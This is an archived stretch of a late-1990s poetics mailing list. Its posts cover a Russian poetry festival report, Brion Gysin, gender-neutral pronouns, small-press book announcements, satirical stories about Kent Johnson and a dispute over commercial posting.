wonderful Vladimir Kucheriavkin and Nikolai Kononov, very deep Sergei Stratanovsky, Mikhail Eremin - all first-class poets of present-day. What was amazing in St.Petersburg was the atmosphere and the response of the public. It was so warm and energetic, so energetic that there were fistfights. Every twenty minutes there was a commotion in the audience, the people were expressing their various emotions ranging from disgust to appreciation by, for example, standing up and reading their own poetry in a loud voice and there was no stopping them. Dmitry Kuzmin, a leading figure in Moscow literary life, a poet and critic, a curator of the poetic salon "Avtornik" (meeting every Tuesday), even had to break the readings and appeal to the public trying to shame them into a better behavior. But his appeals were wasted. During Kononov's reading a man stood up (by the way he was a friend of Sergei Zavialov, organizer of the festival) and said, addressing the audience, that the poet in question was a bloody bustard and his poetry is a piece of disgusting bullshit (Kononov was reading a poem about man-eaters, kannibals and used some obscene language}, this confrontation of

two aesthetic positions came to a climax in the interval when Kononov had a fight with his admirer. Moscow guests had a great time watching all this because (as we, St.Petersburgians found later , during the Moscow part of the festival) the sophisticated Moscow, tired of life and not to be surprised with stuff, haven't seen anything like this since the time of (maybe) Mayakovsky who loved scandal. They were happy to discover that there are still people in Russia who could kill for poetry. In Moscow the festival public was very respectable - only literary people came: poets, critics, curators of poetic salons; their girl-friends (a few) were the only independent observers. A propos girl-friends. What was notoriously missing at the festival were women authors and critics: nearly forty participants for three women (four including me as wife and helper for the organizer and a translator of a visiting poet from Germany Schuldt). On the last day of the festival at the discussion a visiting poet from Boston Jim Kates (who also gave a reading alongside with the German poet Schuldt) tried to raise the question of women-participants but no-one even cared to answer it properly. The only thing we seemed to be good for was washing the marble floors of the salon where the final reception was held (this action was performed by the author of these lines - I meant it to be a performance but nobody noticed). Now I would like to strike a serious key. The festival was intended to research into the phenomenon of Moscow and St.Petersburg poetry, two rival cities of Russian culture. Is it really that, as the Moscow poet Mikhail Aizenberg put it, there is good poetry, bad poetry and St.Petersburg poetry? The results of the research prove that St.Petersburg poetry numbers some first-class poets but, to my mind, they are those who border on Moscow styles, who like experimenting and who are ready to give up beautiful lines for freshness, throb of time and enjoyment their poetry could give to the public. Dostoevski called St.Petersburg "the most abstract and artificial city on earth". The same can be said about some of the poetry here. Some of the St. P. poets write the way as if nothing happened for the last eighty years, as if they can start right where the pre-revolutionary Silver-Age poets left off. Moscow people realize that they have to work through the Soviet period and incorporate it somehow into their writing.They act as psychoanalytics for the national sub-conscious working through fobias and anxieties accumulated during the desolate years of Stalinism and Brezhnevism. Strange as it may seem for you but this festival demonstrated that what poets write is not their personal affair. It's not true that there are good poets and there are bad poets as was said at the festival (and thousands of times before but here in the sense that there is no Moscow and St.Petersburg poetry there is good etc.) There is Moscow poetry (I think) that takes the time into account and becomes timeless and St.P. poetry that is timeless and dies the moment it is published (not all of it of course) Poets have to feel their way into the complexities of the time they are living in.And sometimes it's only much later that it

becomes evident who was in contact with the spirit of the time and who was not. It doesn't matter waht they write about, they always write about modernity.

Oh, dear, that's enough for today. I'm afraid it's too long already. If you have any questions please you are very welcome. Maybe I should add something or focus on some other things of more interest for you. So this report is subject to change. You could make it shorter. Or I could write another shorter one using some of the above.

↑ Index

882. **Kathy Lou Schultz**
Re: fishnet
Thu 29 Oct 1998

God I hate you--especially when you wear fishnets. I mean, I REALLY hate that.
Kathy Lou

KENT JOHNSON wrote:
>
> I meant DB could read "the tongue in cheek in _braille_." I just
> looked at my dictionary and see that a "brail" is a fishnet of
> sorts. There is a joke here somewhere, probably, involving stockings.
>
> Kent

↑ Index

883. **Kathy Lou Schultz**
Re: our corrections
Thu 29 Oct 1998

Thanks very much for the info--but who the hell wants to pay $100? Can't I just sneak in after the movie starts? And what do they do with your $100 anyway?
Thanks for posting.
Best,
Kathy Lou

Aldon Nielsen wrote:
>
> I WAS wrong -- there is still time for those who want to part with $100 to
> register in advance for MLA -- the lower rate is only available if
> postmarked by Dec. 1 ($75.00 for members) --
>

> address is
>
> Modern Language Association
> Convention Programs
> 10 Astor Place
> New York, NY 10003-6981

↑ Index

884. **Jim Andrews**
Ted Hughes
Fri 30 Oct 1998

One of the most extrordinary poetry readings I ever experienced was by Ted Hughes many years ago in Victoria BC at Open Space. He was transfixing. His voice and the depth of his work resonates with me still.

About five years earlier, I encountered some of his work for the first time in an English class when I read "Thought Fox." The leap of Hughes's wild fox into the mind remains with me even more strongly than his amazing reading.

↑ Index

885. **d.j. huppatz**
Re: Brion Gysin question
Fri 30 Oct 1998

Hi Alan

A book that might help here is "Here to Go: Planet R-101" Brion Gysin interviewed by Terry Wilson (Quartet Books, London 1982) - I think it's pretty obscure, I picked it up in a secondhand store a couple of years back. It's a series of interviews with Gysin. A quick scan thru the index brings up a few references to Breton & Surrealism - Gysin claims he showed his art with the Surrealists in 1935, or in fact hung his drawings for a Surrealist exhibition but they were taken down before the show opened "on the orders of Breton". Gysin refered to the Surrealists as the Art Wing of the Freudian Conspiracy ...

dan
melbourne

At 13:51 29/10/98 EST, you wrote:
>Here's a (vaguely related to poetics) question: does any of you know
>about possible connections between Gysin and the Surrealists? I had the
>notion that somewhere Gysin said Breton had thrown him out of the
>Surrealist movement, but I may be way off--would be interested in
>confirmation / disconfirmation of that, further information, etc. The

>context for this question is that I have a student who's trying to track
>a web of connections from Tzara / Dada to Surrealism to Gysin to
>Burroughs as he writes about *The Ticket That Exploded*, *Nova Express*
>and *The Soft Machine*.
>
>Thanks,
>
>Alan
>
>

↑ Index

886. **miekal and**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Mairead Byrne wrote:
 why not make it fun (as Masha did) by at least SELLING in an
> interesting, enthralling, exhilarating, salivating way?

demonstrate by example

↑ Index

887. **Gabriel Gudding**
KENT JOHNSON
Fri 30 Oct 1998

On Thu, 29 Oct 1998, KENT JOHNSON wrote:

> *people*
> *have been writing me to say that they don't really hate me, that*
> *everything will be all right. Even David Bromige, my favorite*
> *ironist, whom I used to believe could read the tongue in cheek*

Kent: when I b-c'ed you I was only being ironic: I really do hate you. You're a real jerk. warmly, gabe

> *Anyway, I would like to say, for the record, that even though my*
> *reputation among some listees is not top of the charts, I have quite*
> *a few b-c friends and am not lonely at all. A practicing Buddhist, I*
> *even have good feelings for those who think I'm a racist and all*
> *that, and daily I ask Jesus to take away my anger toward them.*
>
> *So don't worry about me. I'm fine, really.*

> *Kent*

↑ Index

888. **KENT JOHNSON**
Russian poetry festival
Fri 30 Oct 1998

Masha Zaviola's post was fantastic. Why can't there be poetry festivals like that here, though with women reading and fighting instead of wiping, of course.

I can't resist making what might appear to be jsut a self-promotion plug, but I suspect others were fascinatied by Zaviola's post and would liek to know more about new Russian poetry. A very good place to begin is with a book I edited called _Third Wave: The New Russian Poetry_ (Michigan, 1992), wherein a number of the folks Zaviola mentions appear. The book has a long introduction by Alexei Parschikov and Andrew Wachtel, great poems and poetics statements by the contributors, and an afterword essay by Mikhail Epstein-- one of Russia's (tho he's currently at Emory U.) most important literary critics and cultural theorists-- which maps the major tendencies and movements of late and post-Soviet poetry.

The book's still in print and really is the most complete gathering in English of current "avant-garde" Russian poets. Some of the very best translators in the field are also here: Hejinian, Janecek, Schmidt, Wesling, Molnar, Wachtel, numerous others.

Kent

↑ Index

889. **miekal and**
Re: Carving Cyber Pumpkins
Fri 30 Oct 1998

Up here we call 'em squash & we don't carve 'em, we mix martinis in em.

george bowering

↑ Index

890. **Mairead Byrne**
Re: from Masha Zavialova, on the Russian Poetry Festival
Fri 30 Oct 1998

What a GREAT GREAT GREAT report from the floorwasher Zavialova. I will NEVER delete it. It's 10am on the penultimate day of October and all these

RUSSIANS (presumably) have just tumbled into my office, not just the muezzin-blasting,bowl-bashing, floor-washing poets but the fistfighting bellowing poets too. Why couldn't *I* have been there? Ain't I a woman? Hey, if I can't actually ATTEND events like this, the next best thing (possibly even a better thing) is to HEAR about them. THANK YOU THANK YOU Masha and I hope you did a good job with that floor. Your suds resonate in Ithaca today! Mairead Byrne

↑ Index

891. David Kellogg
This is not a suggestion, but . . .
Fri 30 Oct 1998

On Thu, 29 Oct 1998, Kathy Lou Schultz wrote:

> *Thanks very much for the info--but who the hell wants to pay $100? Can't I just sneak in after the movie starts? And what do they do with your $100 anyway?*

. . . many are the students who have gone to MLA sessions and book exhibits on a paying friend's badge, which that friend "lost" and "paid" $10 to "replace."

Just an observation.

Cheers,
David
~~~
~~~

From: Mairead Byrne
To: [redacted]
Subject: Re: This is not a suggestion, but . . .
Date: Friday, October 30, 1998 9:44AM

This list is like a huckster shop with books and readings constantly being touted, lipstick (I still don't understand that), MLA tricks, blah blah blah. If you don't got the inclination or the dough it's no fun reading this stuff: why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way? Just the dumb banner doesn't do it, even with a few lame comments attached.

↑ Index

893. Charles Alexander
two new books
Fri 30 Oct 1998

Two new books from Chax Press, now on hand. For those already with orders placed, and standing orders, you will get your copies soon. The books are CHROMATIC DEFACEMENT, by Phillip Foss, and & CALLING IT HOME, by Lisa Cooper. Foss's book includes nine poems ranging from a few pages to 10 pages. Cooper's book is a continuous interplay of poems which are either homolinguistic translations of Jack Spicer poems, letters to Gertrude Stein, or "lyric bits."

Don't respond to poetics list, but directly to Chax Press: [redacted]

Each sells for $12 plus shipping/handling, but for all orders received by Nov. 11 (I return that day from a trip east) saying you heard about the books on the poetics list, you can have them for $10 each, with no other shipping/handling charges. Send payment to
Chax Press
101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

1. CHROMATIC DEFACEMENT, by Phillip Foss
96 pages, ISBN 0-925904-22-8
cover painting: BRAINSTORM, by Mark Spencer

"Phillip Foss's *Chromatic Defacement* is a new *fin de siecle* theater of cruelty with the roles played by perfumes, echoes and elisions. "Coquettish effluvia." Susan Howe meets Bataille and they have t his child called 'Fetter of Nuance' or, in fact, *Chromatic Defacement.* I think I'm in love with it."
-- Rae Armantrout

"One of the problems with desire is duration. It's over before you know it and, once you know it, it's over. Hence the value of this book, which destroys desire but which does so, dextrously and indefatigably -- operatically, in and by steps. *Such light steps, such destruction.* Innumerable steps, not only half-steps in innumerable directions at innumerable speeds. Operatic and balletic. Following the steps of Phillip Foss, one of Lully's latter-day and more intrepid progeny surely, you will re-make desire. Re-make it and re-make it. Rmake it and make it last. At last." -- John Taggart

from CAPRICCI 25 (in CHROMATIC DEFACEMENT)

Easy release is seldom available, given the disclosures
of erosion; given the way things levitate and exceed optics

Once I killed myself observing stone; such weight was in my head I surrendered to song, though I have no voice

The sight of the world must be reconciled to an equation
of sound (or wound); sound to emotion; emotion to genitals

Does a soprano crescendo equal orgasm

No, it is a weapon; a hollow spine, embodied,
though the reverse cannot be true

since sound comes off the gut as light through a prism
and penetrates the heads of the assembled -- or so they believe --

but if I play: there is no world, they believe I am absent; if I play: there is *a* world, they believe I am

Thus I acknowledge just debt:

2. & CALLING IT HOME, by Lisa Cooper
104 pp., ISBN 0-925904-17-1
cover painting: 1/2MOON HOUSE, by Cynthia Miller

"Into the adroitly crafted domain of *& Calling It Home,* Lisa Cooper boldly summons 'Our Lady,' Gertrude Stein, and Jack Spicer's *A Book of Music, Book of Magazine Verse,* and *After Lorca.* 'There's no escape from constancy or change,' Cooper observed in an earlier book, *The Ballad in Memory,* and here she investigates the binding power of literary tradition and the poem's legacy of music while playing Spicer's songs 'like a jukebox' in homolinguistic translation. Keeping the music and changing the purport, she has it both ways as she transposes Spicer's quotation of Poe's 'Indefiniteness is an element of the true music' into the decisive, 'In deafening intelligence on a ruse moving.' In reponse to her artful ruses and rousing intelligence, the powers of language, poetry and music come when she calls. -- Mary Margaret Sloan

"Lisa Cooper asks big questions. Like what is sense? Or why do men and women do what they do? Is it nature or culture? And she asks them of today's saints of everything that matters: Jack Spicer and Gertrude Stein. She gets no answers from either. But she writes a lot of great poems in the asking."
-- Juliana Spahr

ARMED WITH BEADS FOR TROUBLE (from & CALLING IT HOME)

Matter gets us dirty but stands
For alms & bleeds confounded plastic
Of substance. Blue toys
With banners, dashing hooves, we fall or splay
On a wet ridge.
Born in the light of something bent --
But not taken from us -- like a day
Does helpless commotion.
Sea call, some sport
Or play of the ridge, we hope
Like a helpless bluebell
On the ridge.

DEAR GERTRUDE, (from & CALLING IT HOME)

Jack's music, & choosing the birds that sing long notes to the night after everyone's gone inside.
Those notes.

And what's on the inside & what's on the outside for Jack. He got out of his body.

The church says not to fall for these folk figures, there's too much credit given the saints & they make the people superstitious. And that includes St. Jack.

They asked if my sin was loving him more than God. I said love is the *way* to God. Ask Mary.

Love,
Lisa

↑ Index

894. Eliza McGrand
joking aside, s/he thing
Fri 30 Oct 1998

---

the very arguments against gender-equal pronoun use and their vehemence are, for me, disproportionately impassioned and suggest deeper and unacknowledged agendas.

first, the notion of "he" and "man" as universal. it isn't. period. over half of the human race (remember, women, due to greater fetal deformation and miscarriage of males, are born in naturally higher proportions) is not included in that pronoun. EXAMPLE: three professors from wales are at the chaucerian section of MLA conf. two are men, one is a woman sitting at opposite end of room. speaker says "when one of our distinguished colleages from wales researched the inks of the Ellesmere ms., he discovered that..." -- i GUARANTEE that no one in the room will turn to look at the welsh woman as a possible quote source. so much for "he" as universal.

second, move the context. consider so-called "universal" voting requirement "white male landowner." look what changed in that first -- landowner went. why? -- not everyone owns land. non-landowners wanted representation and had, finally, numbers/influence enough to get it. next, "white." again, world (in which "white" is, statistically, a minority) finally admitted that "white" was not a universal. now, what is left? "male." and we STILL try and argue about it? no one would claim that an advertisement talking about "white" and "christian" and "caucasion" as "universal" for job applicant was fair. why would anyone argue "he" and "man" -- pronouns explicitly for men -- are?

third, what, specifically, is being asked re pronoun shift? re earlier example, in consideration of economic prejudice and racism, it has been asked, and pretty much universally granted, that texts talking about non-landowning and non-white groups/races as "savage" and "uncivilized" and, in general, pejoratively, ought be changed if possible, and if as authored texts necessary to teach unbowdlerized, that acknowledgement of problematic be made. not such a big deal. "unwashed peasants," "savages," "nigger," etc. simply removed from reasoned discourse. why, then, this great fuss over making women equal part of discourse by reconsidering and reusing pronouns?

look, i am a woman. when i am in a group that talks about "well we were looking for men who have completed X requirement for this job" and "well, men, sit here" and "what man has written" i do not feel included. in fact, i specifically feel specifically disincluded. and i am not a lone crank -- when i've said something, if, indeed, i was not beaten to the punch by someone else, most if not all the women indicate agreement. period. the message here: many women DO NOT FEEL INCLUDED BY THE USE OF "MAN," "MEN," and "MALE" AS A SO-CALLED UNIVERSAL. this isn't speculative, it isn't a matter of "well a few crazy bra burning [insert further favorite mocking pejoratives -- remember "sambo" and those "unwashed poor"?...] feminists INSIST..." it is a matter of large numbers of reasonable human beings feeling explicitly cut off from discourse about human race by terms for same that explicitly do not include them. how much clearer can this be?

solution: a number of ingenious easy ones. s/he is a neat one. if reading aloud, obviously, one says "she or he" or "he or she." use of "one," or "they." and, obviously, "human" and "people" rather than "men" and "man." or, as one person i know suggested and as i rather enjoy, use of "she" and "her" as universal, with a few "he's" intermingled. i.e. "The writer might consider her pen to be mightier than a sword, but does history really support this? Consider the author of a document calling for an end to book banning as his document is banned."

when it comes down to it, if there is a painless way to begin to reverse centuries of oppression, persecution, and discrimination, and make over half of the human race feel more comfortable and included, and all it takes is slightly more attentive pronoun use, why on earth would anyone argue against it?

e

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895. **Mairead Byrne**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

This list is like a huckster shop with books and readings constantly being touted, lipstick (I still don't understand that), MLA tricks, blah blah blah. If you don't got the inclination or the dough it's no fun reading this stuff: why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way? Just the dumb banner doesn't do it, even with a few lame comments attached.

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896. **Karen Kelley**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Sometimes extra adjectives are *just* extra adjectives.

Mairead Byrne wrote:

> *This list is like a huckster shop with books and readings constantly being touted, lipstick (I still don't understand that), MLA tricks, blah blah blah. If you don't got the inclination or the dough it's no fun reading this stuff: why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way? Just the dumb banner doesn't do it, even with a few lame comments attached.*

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897. **Mairead Byrne**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

A salesperson I ain't, having scant interest in buying or selling, and even less wherewithal.

On Fri, 30 Oct 1998, miekal and wrote:

> *Mairead Byrne wrote:*
> *why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way?*
>
> *demonstrate by example*

↑ Index

898. **Mairead Byrne**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Extra adjectives are ALWAYS extra adjectives.

↑ Index

899. **Jordan Davis**
Huck it
Fri 30 Oct 1998

Hi Mairead --

You're right, there does seem to be a lot of commerce on this listserv -- and it's true, it wasn't always so -- maybe four or five years ago --

but the list-originator hisself has said one of the main things he prizes about this list is the announcements of publications and events that otherwise would get no announcement at all --

I myself like that kind of sports -- and show it by hucking things here often -- even tho I can barely afford to produce the the things I sell -- and try to charge nothing for the events that I host --

signed, your comrade against these intrusions of exchange value

↑ Index

900. **jen hofer**
info on Cole Swensen?
Fri 30 Oct 1998

I'm wondering if anyone knows of any articles, book chapters, etc. that involve Cole Swensen's work? Anything by her (that's not in _o.blek_, _Moving Borders_, or _History of European Ideas_)? I'm having equally slim luck with the internet & the library.

If so, please backchannel.

Many thanks.

Also, if anyone has her e-mail address, I'd much appreciate it.

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901. **Hnery Gould**
russpofest
Fri 30 Oct 1998

The Russian poetry festival message WAS g-r-r-eat, yeah. But she clearly has a Moscow bias. The most "avant-garde" poet she mentioned, Lev Rubinstein, is a PETERSBURG poet. They're not ALL neoclassicists writing for insty-eternity. Here's the ultra-neoclassicist Petersburgian himself, O.M., circa 1930s - doesn't sound old-fashioned to my old ear: (Still, her general characterization of the 2 cities is probably right.)

from OCTETS

8.

Tiny sixth sense accessory
or lizard's sincipital oculus,
valves, beehive monasteries,
flittering hum of eyelids.
Unattainable - so near!
Impossible to untie, look at -
as if you were handed a note
you must immediately answer.

- O. Mandelstam, transl. by yrs trly H. G.

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902. **Tosh**
Evguenie Sokolov
Fri 30 Oct 1998

Dear Poetics list,

For those of you who are interested I have the first title out from TamTam Books. You can order this book through your local bookstore,or if you wish you can do it through me. The book is $17. For the poetics list I can sell the book for $13.60 (%20 off). Additional Shipping cost for priority is $3.00 or just $1.00 for regular book rate

The address is 2601 Waverly Drive
Los Angeles, CA 90039-2724

Please make the check out to TamTam Books. Also mention that you are on the poetics list for the 20% discount

---------- Evguenie Sokolov by Serge Gainsbourg (1928-1991) ISBN 0-9662346-1-8 Library of Congress Catalog Card Number: 97-80957 Translated from the French by John and Doreen Weightman

This is the one and only novel by the 20th century provocateur of French pop music and film - the legendary Serge Gainsbourg . This prototype lusty punk tore into the threads of French society with his numerous films, music projects, and outlandish persona. He made recordings with Brigitte Bardot, Jane Birkin and a scandalous recording of „Lemon Incest¾ with his own daughter Charlotte. If that wasn¼t bad enough, he told Whitney Houston live on French TV that he would love to fuck her.

Evguenie Sokolov is a novel about an artist who uses his intestinal gases as the medium for his scandalous artwork. What once was a huge smelly and noisy problem in his social and sex life becomes a tool for success in the early eighties art world. Please note that there is also a song by Gainsbourg called "Evguenie Sokolov" of farting noises over a reggae track.

Some quotes about Gainsbourg and the novel:

"Gainsbourg is both the best and the worst, yin and yang, white and black. This Jewish little Prince from Russia whose dreams were probably fueled by Andersen, Perrault and Grimm, became, when confronted by the tragic reality of life, a moving or repugnant Quasimodo, depending on his and your state of mind. Hidden deep within this fragile, shy and aggressive man lies the soul of a poet craving tenderness, truth and integrity." Brigitte Bardot

"Serge Gainsbourg is one of the world's great eccentrics. His kinky obsessions, smothering fashion with tastelessness have catapulted him into super stardom in France.

This is his only novel and you have never read anything like it Evgueine Sokolov will make you squirm. It will make you laugh. It also may very well make you sick. Gainsbourg's vision is his own: authentic and convulsive. But don't forget to hold your nose." John Zorn

"Gainsbourg takes one childish, cheap and tasteless one-joke idea and manages to keep it entertaining enough to last for a whole book. he has an envious command of adjectives and adverbs." Mark Webber, Pulp

Thanks,

Tosh Berman
TamTam Books

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903. **Eliza McGrand**
Re: KENT JOHNSON
Fri 30 Oct 1998

---

in fact, on my last excursion to the midwest, i met kent johnson. when i arrived at the airport, i had telegraphed ahead suggesting a meeting. little did i wot what would ensue...

there was no sign of mr. johnson at the gate. there was, however, a really humongous rubber potted plant next to the area where he had told me to wait. if its extravagant size were not enough to make the "plant" conspicuous, the large red keds sticking out the bottom certainly were.

finally, i went to claim my luggage. several rotations later, i turned around and... the plant was next to me, along with a crowd of fascinated travellors who, evidently, had followed it. suddenly, a fat, juicy "pssttt" rang out from behind the extravagant rubber foliage across the dusty carpets and accoustic-tiled ceiling. i walked over to the "plant," and its keds popped inside the brown clay base. i went back to my luggage... "psst!" walked back, POP! this went on for a while. soon the entire luggage area was overflowing with fascinated spectators, one of whom began announcing the plant/psst/ked volley play by play like a tennis match.

as i got my last peice of carry on (a faux-pearl encrusted d____ given to me by bowering, that heartless cad, shortly before he took off with my credit card, silk

undies, and, basically, anything not nailed down) a small wadded up paper slammed into my rump. i read it: "don't look now, but go to the airport lobby and i'll meet you there. kent."

i went to the lobby. the "plant" followed, along with much of the fascinated audience from the luggage pick-up. i had had enough. i walked up to the "plant" and trod on one of the keds beforeit could slip inside the pot again. "mr. johnson, when you promised me a reception worthy of a wildly avant-garde writer and scholar coupled with all the erudition and footnotes a world-class university can offer, i am confident this embarrassing fal-te-rol was not in the contract. i've about had enough!"

"please, my plush occidental fringe, my delicatly painted kirman, only be patient and i will sweep you away to the greatest in decadence, luxury, joy, that the endnotes of the Ellesmere codex can offer... only be patient... you see, i have ENEMIES!"

"nonsense!"

"no, they are everywhere! they are after me for my gender inclusive pronouns, my interesting off-color anecdotes about spicer..."

i shouted "don't be ridiculous. no one wants gender-inclusive pronouns, they are yesterdays news! and ALL anecdotes about spicer are off-color since sondhiem interrogated the notion of on-color in his last jennifer monologue! i'm out of here!" then took the next plane back. i did, however, introduce him to bowering and bromige (in order to keep him from following me onto the plane), who were, to no one's great surprise, lizarding around the airport lounge. weeks later, johnson sent me a pathetic begging letter asking me to help foot the large bar tab bowering and bromige stuck him with, enclosing a copy of the tab, as well as several damp cigar butts, a soiled undergarment, and one green rubber electronic massage device purported to have come from the raincoat pocket of bowering himself as proof. i promptly threw the lot into the trash and disinfected my hall table.

and let that be a lesson to all of you.

e

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904. **KENT JOHNSON**
Re: KENT JOHNSON
Fri 30 Oct 1998

I just have to say that I have never met Eliza McGrand, though now I want to and very much.

I also want to ask her how she knew that I am currently wearing a pair of Keds? Is this a trick of the AI lab she works for at MIT?

KENT JOHNSON

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905. **Charles Bernstein**
java
Fri 30 Oct 1998

Sylvester Pollet asked that I post information on how to get in touch with the editors of the new French magazine Java, that Stacy Doris mentioned on the list. Stacy suggests email:

[redacted]

> *Sun. Nov. 8, 6:30*
> *At Zinc Bar 90 West Houston St (at LaGuardia Place), NYC*
> *Jacques Sivan, Vannina Maestri, Jean-Michel Espitallier, editors of Java, a French poetry magazine featuring vibrant new French writers (what some of you complain don't exist) will present their magazine and a bit of their writing (translated by Chet Wiener, Kristin Prevallet, Stephen Rodefer).*

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906. **Jim McCrary**
Re: Brion Gysin question
Fri 30 Oct 1998

Alan...FYI...Edmonton Art Gallery (BG born here) just hosted huge retrospective show of BG. Thames & Hudson publishing 200 pg catalog. I believe the show is traveling to Vancover. Ted Morgan bio of Burroughs has quite a bit on Gysin. New bio of BG in the works. All best, Jim McCrary

At 13:51 29/10/98 EST, you wrote:
>Here's a (vaguely related to poetics) question: does any of you know
>about possible connections between Gysin and the Surrealists? I had the
>notion that somewhere Gysin said Breton had thrown him out of the
>Surrealist movement, but I may be way off--would be interested in
>confirmation / disconfirmation of that, further information, etc. The
>context for this question is that I have a student who's trying to track
>a web of connections from Tzara / Dada to Surrealism to Gysin to
>Burroughs as he writes about *The Ticket That Exploded*, *Nova Express*
>and *The Soft Machine*.
>
>Thanks,

>
>Alan

↑ Index

907. **David Kellogg**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

On Fri, 30 Oct 1998, Mairead Byrne wrote:

> *This list is like a huckster shop with books and readings constantly being touted, lipstick (I still don't understand that), MLA tricks, blah blah blah. If you don't got the inclination or the dough it's no fun reading this stuff: why not make it fun (as Masha did) by at least SELLING in an interesting, enthralling, exhilarating, salivating way? Just the dumb banner doesn't do it, even with a few lame comments attached.*

Yo, I was trying to help someone save some money. Have you had a bee up your ass for long or did my comments put it there?

Cheers,
David
~~~
~~~

2). Good riddance.

3). I think Mairead's point is simply this: if you Must advertise here, do it with pizzazz. Do it, in other words, with poetry, Pritchett.

Gabriel Gudding

----------Mairead wrote:
> Subject: Re: This is not a suggestion, but . . .
> Date: Friday, October 30, 1998 9:44AM
>
> This list is like a huckster shop with books and readings constantly being
> touted, lipstick (I still don't understand that), MLA tricks, blah blah
> blah. If you don't got the inclination or the dough it's no fun reading
> this stuff: why not make it fun (as Masha did) by at least SELLING in an
> interesting, enthralling, exhilarating, salivating way? Just the dumb
> banner doesn't do it, even with a few lame comments attached.
>

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909. **Brian Carpenter**
Re: Brion Gysin question
Fri 30 Oct 1998

Do you by chance know where I might be able to get info on the when/where of the Vancouver show? Any suggestions would be helpful.

Thanks--

BC

On Fri, 30 Oct 1998, Jim McCrary wrote:

> *Alan...FYI...Edmonton Art Gallery (BG born here) just hosted huge retrospective show of BG. Thames & Hudson publishing 200 pg catalog. I believe the show is traveling to Vancover. Ted Morgan bio of Burroughs has quite a bit on Gysin. New bio of BG in the works. All best, Jim McCrary*
>
> *At 13:51 29/10/98 EST, you wrote:*
> *Here's a (vaguely related to poetics) question: does any of you know about possible connections between Gysin and the Surrealists? I had the notion that somewhere Gysin said Breton had thrown him out of the Surrealist movement, but I may be way off--would be interested in confirmation / disconfirmation of that, further information, etc. The context for this question is that I have a student who's trying to track*

> *a web of connections from Tzara / Dada to Surrealism to Gysin to Burroughs as he writes about *The Ticket That Exploded*, *Nova Express* and *The Soft Machine*.*
>
> *Thanks,*
>
> *Alan*

↑ Index

910. **Brian Carpenter**
Re: Brion Gysin question
Fri 30 Oct 1998

My turn for the sorry-shouldve-gone-backchannel apology.

doh

BC

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911. **Aldon Nielsen**
lipstick traces
Fri 30 Oct 1998

---

1) where the $100.00 goes -- well . . . putting on a conference for around ten-thousand people spread through three hotels and hiring shuttles for same probably takes up a fair hunk of change -- I doubt that the MLA is using this as a fundraiser -- used to only cost $5.00 to "lose" a badge -- Several of us can remember the somewhat unsettling experience of talking to two people (often of differeng genders) with identical identification on their ID badges -- AND remember that the best movies are free -- there are several readings and sessions open to the unregistered public --

(was anybody else in the audience for that session in New York some years back where thay had to put guards around the room because of death threats to Edward Said? I always remember that episode when I meet people who are dismissive about the little bit of "academic freedom" that has ever been available to us)

2) Kent: to quote a favorite song of many years ago, "I don't hate anybody very much!"

3) PLEASE, everybody, keep those notices of publications and readings coming -- As Patrick and others have said, this list is often the ONLY way most of us

would hear of such things -- It is also the closest to actual poetics we come in our exchanges on some days --

4) anapest, anapest, anapest

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912. **Charles Alexander**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Mairead and others:

If there's a general consensus on the poetics list that we shouldn't offer books for sale, then I'm more than happy to comply. But between making books, writing poems, etc. -- I don't think I'm going to spend my time devising "interesting, enthralling, exhilarating, salivating" ways of selling them -- I'd much rather spend that time setting type or inking up the vandercook to print something -- and so far I haven't quite figured out how to make the computer screen actually feel, smell, and sound like paper with a printer's impression on it. I like what people I've asked to write blurbs for books have said about those books, and I'm glad to put them out there -- but also glad not to, if that's what the list wants.

charles

At 10:44 AM 10/30/98 -0500, you wrote:
>This list is like a huckster shop with books and readings constantly being
>touted, lipstick (I still don't understand that), MLA tricks, blah blah
>blah. If you don't got the inclination or the dough it's no fun reading
>this stuff: why not make it fun (as Masha did) by at least SELLING in an
>interesting, enthralling, exhilarating, salivating way? Just the dumb
>banner doesn't do it, even with a few lame comments attached.
>
>

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913. **david bromige**
Excited by Eliza, I bare witness . . .
Fri 30 Oct 1998

Thrilling to read Eliza cutting loose on a List meant only for the most earnest discussion of form as content and v.v.! It moves me to my twobitsworth : what Bowering and I found out in that airport lounge bar is that "Kent Johnson" is a false impression which is the work of a Japanese writer, name of Yasusada. Hence the pathetic attempt at disguise when Eliza traveled to Highland College. This Mr. Yasusada worked out an elaborate double-hoax whereby "Kent

Johnson" was represented--through implication and innuendo--as misrepresenting himself as one "Yasusada."

That a man (or a woman, for that matter) should go to such lengths, and then spill the beans to a couple of layabouts in cheap suits in a provincial airport, is attributable to the amazing range of mixed drinks Bowering was able to order up. He told us (GB, not Mr Y) that he had gone to bartending school with John Ashbery. But I think I was the only one who told the truth on that occasion. Occasionally. How to know otherwise?

I liked Mr Yasusada, engaging and bright, and diligent in his creation of a man (not a woman) who in addition to being a college teacher and fine poet, had also worked for revolutionary groups in the jungles of Central America, toured Russia with some notorious Language Poets, and under the name of Brendan O'Brien, worked for Irish unity in the emerald isle. After the fifth libation, removing the little umbrella from from teeth,, I told him, "Even if you _were_ Kent Johnson, I would love you ole buddy." I hadnt an ironic bone left in my body. I had poured all my irony into reading _Braille_ by Bob Perelman, who wouldnt take his tongue out of my cheek. And then Daddy came home, darling, and tucked you in and told you a bedtime story. The End.

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914. **schuchat**
Re: reads
Fri 30 Oct 1998

Anybody following the Bill Luoma east coast tour --

Bill Luoma announced he was reading with Fred Wah Sunday October 31 at Bridge Street Books in DC -- is that Sunday Nov 1 or Saturday October 31 or am I in the wrong year?

spasebo bolshoe

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915. **J. Pecqueur**
Re: This is not a suggestion, but . . .
Fri 30 Oct 1998

Charles:

The principle reason I lurk on this list is to find out what people are printing sos I'll know what to read. And as I leave my office hours, I'll be stopping by the library to find some Kensward Elmslie. I may even order out a journal or two.

Jean-Paul

On Fri, 30 Oct 1998, Charles Alexander wrote:

> *Mairead and others:*
>
